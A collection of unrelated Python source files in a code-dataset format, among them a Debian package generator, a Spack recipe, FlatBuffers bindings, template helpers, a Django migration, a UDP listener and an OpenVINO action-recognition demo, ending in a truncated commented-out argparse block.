spec_requirements = spec_definition.get("requirements") or []
spec_sections = spec_definition.get("sections") or []
for requirement in spec_requirements:
requirements_by_id[requirement.get("id")] = requirement
for section in spec_sections:
section_requirements = section.get("requirements")
for section_requirement in section_requirements:
requirements_by_id[section_requirement.get("id")] = section_requirement
return requirements_by_id
class SpecValidationError(PluginError):
"""An error related to spec validation."""
pass
|
py | 1a4ccd7637069487efba0f6ffd6e75e783cc144e | import asyncio
import shutil
import subprocess
from pathlib import Path
from typing import Any, List
from jinja2 import Environment, PackageLoader
from . import logger
from .exceptions import FetchError, GenerateError, GenerateScriptError
from .fetcher import fetch
from .parser import Blueprint
_environment = Environment(loader=PackageLoader("ops2deb", "templates"))
def _format_command_output(output: str) -> str:
lines = output.splitlines()
output = "\n ".join([line for line in lines])
return "> " + output
class SourcePackage:
def __init__(self, blueprint: Blueprint, work_directory: Path):
self.directory_name = f"{blueprint.name}_{blueprint.version}_{blueprint.arch}"
self.output_directory = (work_directory / self.directory_name).absolute()
self.debian_directory = self.output_directory / "debian"
self.src_directory = self.output_directory / "src"
self.tmp_directory = Path(f"/tmp/ops2deb_{self.directory_name}")
self.debian_version = f"{blueprint.version}-{blueprint.revision}~ops2deb"
self.blueprint = blueprint.render(self.src_directory)
def render_tpl(self, template_name: str) -> None:
template = _environment.get_template(f"{template_name}.j2")
package = self.blueprint.dict(exclude={"fetch", "script"})
package.update({"version": self.debian_version})
template.stream(package=package).dump(str(self.debian_directory / template_name))
def init(self) -> None:
shutil.rmtree(self.debian_directory, ignore_errors=True)
self.debian_directory.mkdir(parents=True)
shutil.rmtree(self.tmp_directory, ignore_errors=True)
self.tmp_directory.mkdir()
shutil.rmtree(self.src_directory, ignore_errors=True)
self.src_directory.mkdir(parents=True)
for path in ["usr/bin", "usr/share", "usr/lib"]:
(self.src_directory / path).mkdir(parents=True)
async def fetch(self) -> "SourcePackage":
if (remote_file := self.blueprint.fetch) is not None:
await fetch(
url=remote_file.url,
expected_hash=remote_file.sha256,
save_path=self.tmp_directory,
)
return self
def generate(self) -> None:
logger.title(f"Generating source package {self.directory_name}...")
# run script
for line in self.blueprint.script:
logger.info(f"$ {line}")
result = subprocess.run(
line, shell=True, cwd=self.tmp_directory, capture_output=True
)
if stdout := result.stdout.decode():
logger.info(_format_command_output(stdout))
if stderr := result.stderr.decode():
logger.error(_format_command_output(stderr))
if result.returncode:
raise GenerateScriptError
# render debian/* files
for template in [
"changelog",
"control",
"rules",
"compat",
"install",
"lintian-overrides",
]:
self.render_tpl(template)
def generate(blueprints: List[Blueprint], work_directory: Path) -> None:
packages = [SourcePackage(b, work_directory) for b in blueprints]
# make sure we generate source packages in a clean environment
# without artifacts from previous builds
for package in packages:
package.init()
# run fetch instructions (download, verify, extract) in parallel
file_count = sum([1 for b in blueprints if b.fetch is not None])
logger.title(f"Fetching {file_count} files...")
async def fetch_all() -> Any:
return await asyncio.gather(
*[p.fetch() for p in packages], return_exceptions=True
)
results = asyncio.run(fetch_all())
errors = [e for e in results if isinstance(e, Exception)]
for error in errors:
if not isinstance(error, FetchError):
raise error
# run scripts, build debian/* files
packages = [p for p in results if isinstance(p, SourcePackage)]
for package in packages:
package.generate()
if errors:
raise GenerateError(f"{len(errors)} failures occurred")
|
py | 1a4ccddc3e5882866710b808ebc05b2b0815aefe | # Copyright 2013-2018 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack import *
class PyBottleneck(PythonPackage):
"""A collection of fast NumPy array functions written in Cython."""
homepage = "https://pypi.python.org/pypi/Bottleneck/1.0.0"
url = "https://pypi.io/packages/source/B/Bottleneck/Bottleneck-1.0.0.tar.gz"
version('1.2.1', sha256='6efcde5f830aed64feafca0359b51db0e184c72af8ba6675b4a99f263922eb36')
version('1.0.0', '380fa6f275bd24f27e7cf0e0d752f5d2')
depends_on('py-setuptools', type='build')
depends_on('py-numpy', type=('build', 'run'))
|
py | 1a4cce76e91a241a2d64f621d24a1531e8fc863b | # automatically generated by the FlatBuffers compiler, do not modify
# namespace: FBOutput
import tdw.flatbuffers
class Collision(object):
__slots__ = ['_tab']
@classmethod
def GetRootAsCollision(cls, buf, offset):
n = tdw.flatbuffers.encode.Get(tdw.flatbuffers.packer.uoffset, buf, offset)
x = Collision()
x.Init(buf, n + offset)
return x
# Collision
def Init(self, buf, pos):
self._tab = tdw.flatbuffers.table.Table(buf, pos)
# Collision
def ColliderId(self):
o = tdw.flatbuffers.number_types.UOffsetTFlags.py_type(self._tab.Offset(4))
if o != 0:
return self._tab.Get(tdw.flatbuffers.number_types.Int32Flags, o + self._tab.Pos)
return 0
# Collision
def CollideeId(self):
o = tdw.flatbuffers.number_types.UOffsetTFlags.py_type(self._tab.Offset(6))
if o != 0:
return self._tab.Get(tdw.flatbuffers.number_types.Int32Flags, o + self._tab.Pos)
return 0
# Collision
def RelativeVelocity(self):
o = tdw.flatbuffers.number_types.UOffsetTFlags.py_type(self._tab.Offset(8))
if o != 0:
x = o + self._tab.Pos
from .Vector3 import Vector3
obj = Vector3()
obj.Init(self._tab.Bytes, x)
return obj
return None
# Collision
def State(self):
o = tdw.flatbuffers.number_types.UOffsetTFlags.py_type(self._tab.Offset(10))
if o != 0:
return self._tab.Get(tdw.flatbuffers.number_types.Uint8Flags, o + self._tab.Pos)
return 1
# Collision
def Contacts(self, j):
o = tdw.flatbuffers.number_types.UOffsetTFlags.py_type(self._tab.Offset(12))
if o != 0:
x = self._tab.Vector(o)
x += tdw.flatbuffers.number_types.UOffsetTFlags.py_type(j) * 24
from .ContactPoint import ContactPoint
obj = ContactPoint()
obj.Init(self._tab.Bytes, x)
return obj
return None
# Collision
def ContactsLength(self):
o = tdw.flatbuffers.number_types.UOffsetTFlags.py_type(self._tab.Offset(12))
if o != 0:
return self._tab.VectorLen(o)
return 0
def CollisionStart(builder): builder.StartObject(5)
def CollisionAddColliderId(builder, colliderId): builder.PrependInt32Slot(0, colliderId, 0)
def CollisionAddCollideeId(builder, collideeId): builder.PrependInt32Slot(1, collideeId, 0)
def CollisionAddRelativeVelocity(builder, relativeVelocity): builder.PrependStructSlot(2, tdw.flatbuffers.number_types.UOffsetTFlags.py_type(relativeVelocity), 0)
def CollisionAddState(builder, state): builder.PrependUint8Slot(3, state, 1)
def CollisionAddContacts(builder, contacts): builder.PrependUOffsetTRelativeSlot(4, tdw.flatbuffers.number_types.UOffsetTFlags.py_type(contacts), 0)
def CollisionStartContactsVector(builder, numElems): return builder.StartVector(24, numElems, 4)
def CollisionEnd(builder): return builder.EndObject()
|
py | 1a4ccec786d1b9b6906b0f182f0ea343e1d80928 | '''
Exercício Python 101: Crie um programa que tenha uma função chamada voto() que vai receber como parâmetro o ano de
nascimento de uma pessoa, retornando um valor literal indicando se uma pessoa tem voto NEGADO, OPCIONAL e OBRIGATÓRIO
nas eleições.
'''
def voto(ano):
from datetime import date
print('-='* 15)
id = date.today().year - ano
if id < 16:
return f'Com {id} anos: NÃO VOTA!'
elif 16 <= id < 18 or id > 65:
return f'Com {id} anos: VOTO OPCIONAL!'
else:
return f'Com {id} anos: VOTO OBRIGATÓRIO!'
nasc = int(input('Em que ano você nasceu? '))
print(voto(nasc)) |
py | 1a4cceeb942e5cc12e4a4c4bcb08a303cd1172cb | """Environment to render templates"""
import json
from pathlib import Path
from sys import executable
from diot import Diot, OrderedDiot
from pyppl.template import DEFAULT_ENVS
__all__ = []
def rimport(*paths):
rimport_rfunc = f"""
if (!exists('..rimport..') || !is.function(..rimport..)) {{
reticulate::use_python({executable!r}, required = TRUE)
..bioprocs.. = reticulate::import('bioprocs')
..rimport.. = function(...) {{
for (rfile in list(...)) {{
source(file.path(..bioprocs..$HERE, 'utils', rfile))
}}
}}
}}
"""
pathstr = ', '.join(f'{path!r}' for path in ((str(path) for path in paths)))
return f"""
{rimport_rfunc}
..rimport..({pathstr})
"""
def bashimport(*paths):
bashimport_bashfunc = f"""
type __bashimport__ 1>&2 2>/dev/null
if [ $? -ne 0 ]; then
__python__={executable!r}
__bioprocsdir__=$(exec $__python__ -c 'import bioprocs; print(bioprocs.HERE)')
function __bashimport__() {{
for src in "$@"; do
source $__bioprocsdir__/utils/$src
done
}}
fi
"""
pathstr = ' '.join(f'{path!r}' for path in ((str(path) for path in paths)))
return f"""
{bashimport_bashfunc}
__bashimport__ {pathstr}
"""
def read(var):
"""Read the contents from a file"""
with open(var) as fvar:
return fvar.read()
def readlines(var, skip_empty_lines = True):
"""Read the lines from a file"""
ret = []
with open(var) as fvar:
for line in fvar:
line = line.rstrip('\n\r')
if not line and skip_empty_lines:
continue
ret.append(line)
return ret
def basename(var, orig = False):
"""Get the basename of a path"""
bname = Path(var).name
if orig or not bname.startswith('['):
return bname
return bname[bname.find(']')+1:]
def filename(var, orig = False, dot = -1):
"""
Return the stem of the basename (stripping extension(s))
@params:
`var`: The path
`orig`: If the path is a renamed file (like: `origin[1].txt`),
- whether return its original filename or the parsed filename (`origin.txt`)
`dot`: Strip to which dot.
- `-1`: the last one
- `-2`: the 2nd last one ...
- `1` : remove all dots.
"""
bname = basename(var, orig)
if '.' not in bname:
return bname
return '.'.join(bname.split('.')[0:dot])
def prefix(var, orig = False, dot = -1):
"""Get the prefix part of a path"""
return str(Path(var).parent.joinpath(filename(var, orig, dot)))
def R(var, ignoreintkey = True):
"""Convert a value into R values"""
if var is True:
return 'TRUE'
if var is False:
return 'FALSE'
if var is None:
return 'NULL'
if isinstance(var, str):
if var.upper() in ['+INF', 'INF']:
return 'Inf'
if var.upper() == '-INF':
return '-Inf'
if var.upper() == 'TRUE':
return 'TRUE'
if var.upper() == 'FALSE':
return 'FALSE'
if var.upper() == 'NA' or var.upper() == 'NULL':
return var.upper()
if var.startswith('r:') or var.startswith('R:'):
return str(var)[2:]
return repr(str(var))
if isinstance(var, Path):
return repr(str(var))
if isinstance(var, (list, tuple, set)):
return 'c({})'.format(','.join([R(i) for i in var]))
if isinstance(var, dict):
# list allow repeated names
return 'list({})'.format(','.join([
'`{0}`={1}'.format(
k,
R(v)) if isinstance(k, int) and not ignoreintkey else \
R(v) if isinstance(k, int) and ignoreintkey else \
'`{0}`={1}'.format(str(k).split('#')[0], R(v))
for k, v in sorted(var.items())]))
return repr(var)
def Rlist(var, ignoreintkey = True): # pylint: disable=invalid-name
"""Convert a dict into an R list"""
assert isinstance(var, (list, tuple, set, dict))
if isinstance(var, dict):
return R(var, ignoreintkey)
return 'as.list({})'.format(R(var, ignoreintkey))
def render(var, data = None):
"""
Render a template variable, using the shared environment
"""
if not isinstance(var, str):
return var
import inspect
from pyppl.template import TemplateJinja2, TemplateLiquid
frames = inspect.getouterframes(inspect.currentframe())
data = data or {}
for frame in frames:
lvars = frame[0].f_locals
if lvars.get('__engine') == 'liquid':
evars = lvars.get('_liquid_context', {})
if 'true' in evars:
del evars['true']
if 'false' in evars:
del evars['false']
if 'nil' in evars:
del evars['nil']
if '_liquid_liquid_filters' in evars:
del evars['_liquid_liquid_filters']
break
if '_Context__self' in lvars:
evars = dict(lvars['_Context__self'])
break
engine = evars.get('__engine')
if not engine:
raise RuntimeError(
"I don't know which template engine to use to render {}...".format(var[:10]))
engine = TemplateJinja2 if engine == 'jinja2' else TemplateLiquid
return engine(var, **evars).render(data)
def box(var):
"""
Turn a dict into a Diot object
"""
from pyppl.utils import Diot
if not isinstance(var, dict):
raise TypeError('Cannot coerce non-dict object to Diot.')
return 'Diot(%r)' % var.items()
def obox(var):
"""
Turn a dict into an ordered Diot object
"""
if not isinstance(var, dict):
raise TypeError('Cannot coerce non-dict object to OrderedDiot.')
return 'OrderedDiot(%r)' % var.items()
def glob1(*paths, first = True):
"""
Return the paths matches the paths
"""
assert len(paths) >= 2
paths = list(paths)
path0 = paths.pop(0)
pattern = paths.pop(-1)
ret = list(Path(path0).joinpath(*paths).glob(pattern))
if ret and first:
return ret[0] # Path object
if not ret and first:
return '__NoNeXiStFiLe__'
return ret
def array_join(var, element_quote = None, all_quote = None, separator = ' '):
var = ( repr(str(element)) if element_quote in ("'", 'single') else \
json.dumps(str(element)) if element_quote in ('"', 'double') else \
element for element in var)
var = separator.join(var)
if all_quote in ("'", 'single'):
return repr(var)
if all_quote in ('"', 'double'):
return json.dumps(var)
return var
TEMPLATE_ENVS = dict(
R = R,
#Rvec = R, # will be deprecated!
Rlist = Rlist,
realpath = lambda var: Path(var).resolve().as_posix(),
dirname = lambda var: Path(var).parent.as_posix(),
# /a/b/c[1].txt => c.txt
basename = basename,
box = box,
obox = obox,
stem = filename,
# /a/b/c.d.e.txt => c
stem2 = lambda var, orig = False, dot = 1: filename(var, orig, dot),
# /a/b/c.txt => .txt
ext = lambda var: Path(var).suffix,
glob1 = glob1,
# /a/b/c[1].txt => /a/b/c
prefix = prefix,
# /a/b/c.d.e.txt => /a/b/c
prefix2 = lambda var, orig = False, dot = 1: prefix(var, orig, dot),
# double quote string
quote = lambda var: json.dumps(str(var)),
squote = lambda var: repr(str(var)),
json = json.dumps,
read = read,
readlines = readlines,
render = render,
array_join = array_join,
rimport = rimport,
bashimport = bashimport,
)
# aliases or reuses
TEMPLATE_ENVS['readlink'] = TEMPLATE_ENVS['realpath']
TEMPLATE_ENVS['parent'] = TEMPLATE_ENVS['dirname']
TEMPLATE_ENVS['bn'] = TEMPLATE_ENVS['basename']
TEMPLATE_ENVS['filename'] = TEMPLATE_ENVS['stem']
TEMPLATE_ENVS['fn'] = TEMPLATE_ENVS['stem']
TEMPLATE_ENVS['filename2'] = TEMPLATE_ENVS['stem2']
TEMPLATE_ENVS['fn2'] = TEMPLATE_ENVS['stem2']
TEMPLATE_ENVS['ext2'] = lambda var: TEMPLATE_ENVS['ext'](var).lstrip('.')
DEFAULT_ENVS.update(TEMPLATE_ENVS)
|
py | 1a4cd03f3018becc0b0295e1916e36cebd388714 | # -*- coding: utf-8 -*-
# Generated by Django 1.11.5 on 2018-01-31 13:36
from __future__ import unicode_literals
import api.models
from django.conf import settings
import django.core.validators
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='AnalysisTransaction',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('filename', models.CharField(max_length=256)),
('md5', models.CharField(max_length=32, validators=[django.core.validators.MinLengthValidator(32)])),
('completed', models.BooleanField(default=False)),
('failed', models.BooleanField(default=False)),
('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
),
migrations.CreateModel(
name='Exports',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('size', api.models.PositiveBigIntegerField()),
('name', models.TextField()),
('offset', api.models.PositiveBigIntegerField()),
],
),
migrations.CreateModel(
name='Import',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.TextField()),
('addr', api.models.PositiveBigIntegerField()),
],
),
migrations.CreateModel(
name='Libs',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.TextField()),
],
),
migrations.CreateModel(
name='Procedure',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('offset', api.models.PositiveBigIntegerField()),
],
),
migrations.CreateModel(
name='ProcedureComment',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('text', models.TextField()),
],
),
migrations.CreateModel(
name='ProcedureDesc',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('vex_hash', models.CharField(max_length=536, validators=[django.core.validators.MinLengthValidator(536)])),
('flow_hash', models.CharField(max_length=280, validators=[django.core.validators.MinLengthValidator(280)])),
('raw', models.BinaryField()),
('raw_len', models.IntegerField()),
('name', models.TextField()),
('callconv', models.TextField(null=True)),
('apicalls', models.TextField()),
('asm', models.BinaryField()),
('procedure', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.Procedure')),
('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
),
migrations.CreateModel(
name='Program',
fields=[
('sha256', models.CharField(db_index=True, max_length=64, unique=True, validators=[django.core.validators.MinLengthValidator(64)])),
('md5', models.CharField(max_length=32, primary_key=True, serialize=False, validators=[django.core.validators.MinLengthValidator(32)])),
],
),
migrations.CreateModel(
name='ProgramInfo',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('filename', models.TextField()),
('bits', models.PositiveSmallIntegerField()),
('arch', models.TextField()),
('program_class', models.TextField()),
('endian', models.TextField()),
('entropy', models.IntegerField()),
('program', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.Program')),
('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
),
migrations.CreateModel(
name='Sections',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('size', api.models.PositiveBigIntegerField()),
('name', models.TextField(null=True)),
('md5', models.CharField(max_length=32, validators=[django.core.validators.MinLengthValidator(32)])),
('offset', api.models.PositiveBigIntegerField()),
('programinfo', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.ProgramInfo')),
],
),
migrations.CreateModel(
name='Strings',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('size', api.models.PositiveBigIntegerField()),
('encoding', models.TextField()),
('val', models.TextField()),
('offset', api.models.PositiveBigIntegerField()),
('programinfo', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.ProgramInfo')),
],
),
migrations.AddField(
model_name='procedurecomment',
name='procedureDesc',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.ProcedureDesc'),
),
migrations.AddField(
model_name='procedurecomment',
name='user',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL),
),
migrations.AddField(
model_name='procedure',
name='program',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.Program'),
),
migrations.AddField(
model_name='libs',
name='programinfo',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.ProgramInfo'),
),
migrations.AddField(
model_name='import',
name='programinfo',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.ProgramInfo'),
),
migrations.AddField(
model_name='exports',
name='programinfo',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.ProgramInfo'),
),
migrations.AlterUniqueTogether(
name='proceduredesc',
unique_together=set([('procedure', 'user')]),
),
migrations.AlterUniqueTogether(
name='procedure',
unique_together=set([('offset', 'program')]),
),
]
|
py | 1a4cd05982d16fe13919649cff2fda92d708ce53 | # -*-coding:Utf-8 -*
# Copyright (c) 2011 LE GOFF Vincent
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
# * Neither the name of the copyright holder nor the names of its contributors
# may be used to endorse or promote products derived from this software
# without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
"""Ce fichier définit la classe Etat, détaillée plus bas."""
from corps.fonctions import valider_cle
from primaires.perso.exceptions.action import ExceptionAction
class Etat:
"""Classe représentant un état d'un personnage.
L'état est une classe générique représentant un état d'un personnage.
Un état est l'état actif du personnage (est en train de combattre,
est en train de chercher du bois, est en train de pêcher...).
L'état autorise ou interdit certaines actions identifiées simplement
par leur clé.
Par exemple, l'état "combat" (est en combat) interdit qu'on ramasse
un objet.
Si un personnage change d'état, on manipule son attribut 'cle_etat'.
On ne crée pas un nouvel état pour lui. L'état reste, en somme,
le même d'un personnage à l'autre.
En terme d'objet, si un personnage entre en combat contre
un autre personnage, ils partagent le même état.
L'état ne peut donc pas contenir d'informations propres à un personnage.
Pour notifier qu'un personnage effectue une action dans une commande,
on appelle la méthode 'agir' du personnage en lui passant en paramètre
la clé de l'action.
>>> personnage.agir("ramasser")
Si l'état dans lequel se trouve le personnage n'autorise pas à ramasser,
une exception interceptée est levée, interrompant l'exécution
de la commande et envoyant un message de refus au joueur
(vous êtes en train de combattre).
NOTE : Si seul le dictionnaire des actions interdites est renseigné,
toutes les actions non interdites sont, par défaut, autorisées. Si seul
le dictionnaire des actions autorisées est renseigné, toutes les actions
non autorisées sont interdites. Si les deux sont vides, toutes les actions
sont interdites.
"""
cle = None
msg_refus = "Non précisé."
msg_visible = "fait quelque chose"
act_autorisees = []
act_interdites = []
peut_etre_attaque = True
sauvegarder_au_reboot = False
def __init__(self, personnage):
"""Constructeur d'un état."""
self.personnage = personnage
@property
def arguments(self):
return (self.cle, )
def peut_faire(self, cle_action):
"""Si ne peut pas faire l'action, lève une exception ExceptionEtat.
Sinon, laisse passer.
"""
if cle_action in self.act_interdites or (not self.act_interdites \
and not cle_action in self.act_autorisees):
raise ExceptionAction(self.msg_refus)
def message_visible(self):
"""Retourne le message pour les autres."""
return self.msg_visible
def get_facteur(self):
"""Retourne le facteur de récupération."""
return 1
def supprimer(self):
"""L'état se supprime du personnage."""
pass
|
py | 1a4cd080fe66821450418193e1f5b097d2f2078e | def init():
global supp_fts
global query_fts
global prototypes |
py | 1a4cd2642f4c5799b76f43da60528f32b14cbd66 | """
选择枚举，用于对常量进行处理
"""
import collections
from enum import Enum
from typing import Dict, Tuple
__all__ = [
"ChoicesValue",
"ChoicesEnum",
]
ChoicesValue = collections.namedtuple("choices_value", ["id", "name"])
class ChoicesEnum(Enum):
@classmethod
def _get_members(cls):
return cls._members.value
@classmethod
def get_choices(cls) -> Tuple:
members = cls._get_members()
result = [(member.id, member.name) for member in members]
return tuple(result)
@classmethod
def get_dict_choices(cls) -> Dict:
members = cls._get_members()
result = {member.id: member.name for member in members}
return result
@classmethod
def get_choices_drop_down_list(cls):
members = cls._get_members()
result = [{"id": member.id, "name": member.name} for member in members]
return result
|
py | 1a4cd2751be8805c58f577386b270304e6902ec3 | import string
import numpy as np
import torch
from torch.utils.data import Dataset, TensorDataset
from torchvision.datasets import MNIST
from learn2learn.vision.datasets import FullOmniglot
class TempDataset(Dataset):
def __init__(self, data, labels):
self.data = data
self.labels = labels
def __len__(self):
return len(self.labels)
def __getitem__(self, item):
return self.data[item], self.labels[item]
class TestDatasets():
def __init__(self):
self.download_location = "/tmp/datasets"
self.n = 1500
self.features = 10
self.tensor_classes = [0, 1, 2, 3, 4]
self.str_classes = ["0", "1", "2", "3", "4"]
self.alphabets = list(string.ascii_lowercase)
self.mnist_classes = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
self.omniglot_classes = [i for i in range(1623)]
tensor_data = torch.from_numpy(np.random.randn(self.n, self.features))
tensor_labels = torch.from_numpy(np.random.choice(self.tensor_classes, self.n))
str_data = np.random.randn(self.n, self.features)
str_labels = np.random.choice(self.str_classes, self.n)
alphabet_data = np.repeat(np.arange(26), self.features).reshape(-1, self.features)
self.tensor_dataset = TensorDataset(tensor_data, tensor_labels)
self.str_dataset = TempDataset(str_data, str_labels)
self.alphabet_dataset = TempDataset(alphabet_data, self.alphabets)
def get_mnist(self):
return MNIST(self.download_location, train=True, download=True)
def get_omniglot(self):
return FullOmniglot(root=self.download_location, download=True)
|
py | 1a4cd323d6323d49e8636af9177e65e16574e95b | from flask import Blueprint
posts = Blueprint('posts', __name__)
from . import views,forms
|
py | 1a4cd459a2761ca3fdc72e01033157f708cf9d49 | import socket
import sys
send_response = True
default_response_str = ''
default_response_bytes = default_response_str.encode('utf-8')
# Create a TCP/IP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(10)
# Bind the socket to the port
server_address = ('localhost', 8001)
print(f"{sys.stderr}, 'starting up on %s port %s' - {server_address}")
sock.bind(server_address)
while True:
try:
data, address = sock.recvfrom(4096)
print(f"received %s bytes from {address}")
if data:
print(f"data:{data}")
if send_response:
sent = sock.sendto(default_response_bytes, address)
except KeyboardInterrupt:
print("Exiting via interrupt")
sys.exit()
except socket.timeout as e:
sys.exit()
|
py | 1a4cd54a0d9c8287011fed4b41513a1b001fcf41 | #!/usr/bin/env python
"""
Copyright (c) 2019 Intel Corporation
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
from __future__ import print_function
import sys
from argparse import ArgumentParser, SUPPRESS
from openvino.inference_engine import IECore
from action_recognition_demo.models import IEModel
from action_recognition_demo.result_renderer import ResultRenderer
from action_recognition_demo.steps import run_pipeline
from os import path
def video_demo(encoder, decoder, videos, fps=30, labels=None):
"""Continuously run demo on provided video list"""
result_presenter = ResultRenderer(labels=labels)
run_pipeline(videos, encoder, decoder, result_presenter.render_frame, fps=fps)
def build_argparser():
parser = ArgumentParser(add_help=False)
args = parser.add_argument_group('Options')
args.add_argument('-h', '--help', action='help', default=SUPPRESS, help='Show this help message and exit.')
args.add_argument("-m_en", "--m_encoder", help="Required. Path to encoder model", required=True, type=str)
args.add_argument("-m_de", "--m_decoder", help="Required. Path to decoder model", required=True, type=str)
args.add_argument("-i", "--input",
help="Required. Id of the video capturing device to open (to open default camera just pass 0), "
"path to a video or a .txt file with a list of ids or video files (one object per line)",
required=True, type=str)
args.add_argument("-l", "--cpu_extension",
help="Optional. For CPU custom layers, if any. Absolute path to a shared library with the "
"kernels implementation.", type=str, default=None)
args.add_argument("-d", "--device",
help="Optional. Specify a target device to infer on. CPU, GPU, FPGA, HDDL or MYRIAD is "
"acceptable. The demo will look for a suitable plugin for the device specified. "
"Default value is CPU",
default="CPU", type=str)
args.add_argument("--fps", help="Optional. FPS for renderer", default=30, type=int)
args.add_argument("-lb", "--labels", help="Optional. Path to file with label names", type=str)
return parser
def main():
args = build_argparser().parse_args()
full_name = path.basename(args.input)
extension = path.splitext(full_name)[1]
if '.txt' in extension:
with open(args.input) as f:
videos = [line.strip() for line in f.read().split('\n')]
else:
videos = [args.input]
if not args.input:
raise ValueError("--input option is expected")
if args.labels:
with open(args.labels) as f:
labels = [l.strip() for l in f.read().strip().split('\n')]
else:
labels = None
ie = IECore()
if 'MYRIAD' in args.device:
myriad_config = {"VPU_HW_STAGES_OPTIMIZATION": "YES"}
ie.set_config(myriad_config, "MYRIAD")
if args.cpu_extension and 'CPU' in args.device:
ie.add_extension(args.cpu_extension, "CPU")
decoder_target_device = "CPU"
if args.device != 'CPU':
encoder_target_device = args.device
else:
encoder_target_device = decoder_target_device
encoder_xml = args.m_encoder
encoder_bin = args.m_encoder.replace(".xml", ".bin")
decoder_xml = args.m_decoder
decoder_bin = args.m_decoder.replace(".xml", ".bin")
encoder = IEModel(encoder_xml, encoder_bin, ie, encoder_target_device,
num_requests=(3 if args.device == 'MYRIAD' else 1))
decoder = IEModel(decoder_xml, decoder_bin, ie, decoder_target_device, num_requests=2)
video_demo(encoder, decoder, videos, args.fps, labels)
if __name__ == '__main__':
sys.exit(main() or 0)
|
py | 1a4cd58c0db367a3b76a466813127c05c197e2e4 | # import argparse
# import template
#
# parser = argparse.ArgumentParser(description='EDSR and MDSR')
#
# parser.add_argument('--debug', action='store_true',
# help='Enables debug mode')
# parser.add_argument('--template', default='.',
# help='You can set various templates in option.py')
#
# # Hardware specifications
# parser.add_argument('--n_threads', type=int, default=6,
# help='number of threads for data loading')
# parser.add_argument('--cpu', action='store_true',
# help='use cpu only')
# parser.add_argument('--n_GPUs', type=int, default=1,
# help='number of GPUs')
# parser.add_argument('--seed', type=int, default=1,
# help='random seed')
#
# # Data specifications
# # parser.add_argument('--dir_data', type=str, default='../../../dataset',
# # help='dataset directory')
# # parser.add_argument('--dir_demo', type=str, default='../test',
# # help='demo image directory')
# # parser.add_argument('--data_train', type=str, default='DIV2K',
# # help='train dataset name')
# # parser.add_argument('--data_test', type=str, default='DIV2K',
# # help='test dataset name')
# # parser.add_argument('--data_range', type=str, default='1-800/801-810',
# # help='train/test data range')
# # parser.add_argument('--ext', type=str, default='sep',
# # help='dataset file extension')
# parser.add_argument('--scale', type=str, default='4',
# help='super resolution scale')
# parser.add_argument('--patch_size', type=int, default=192,
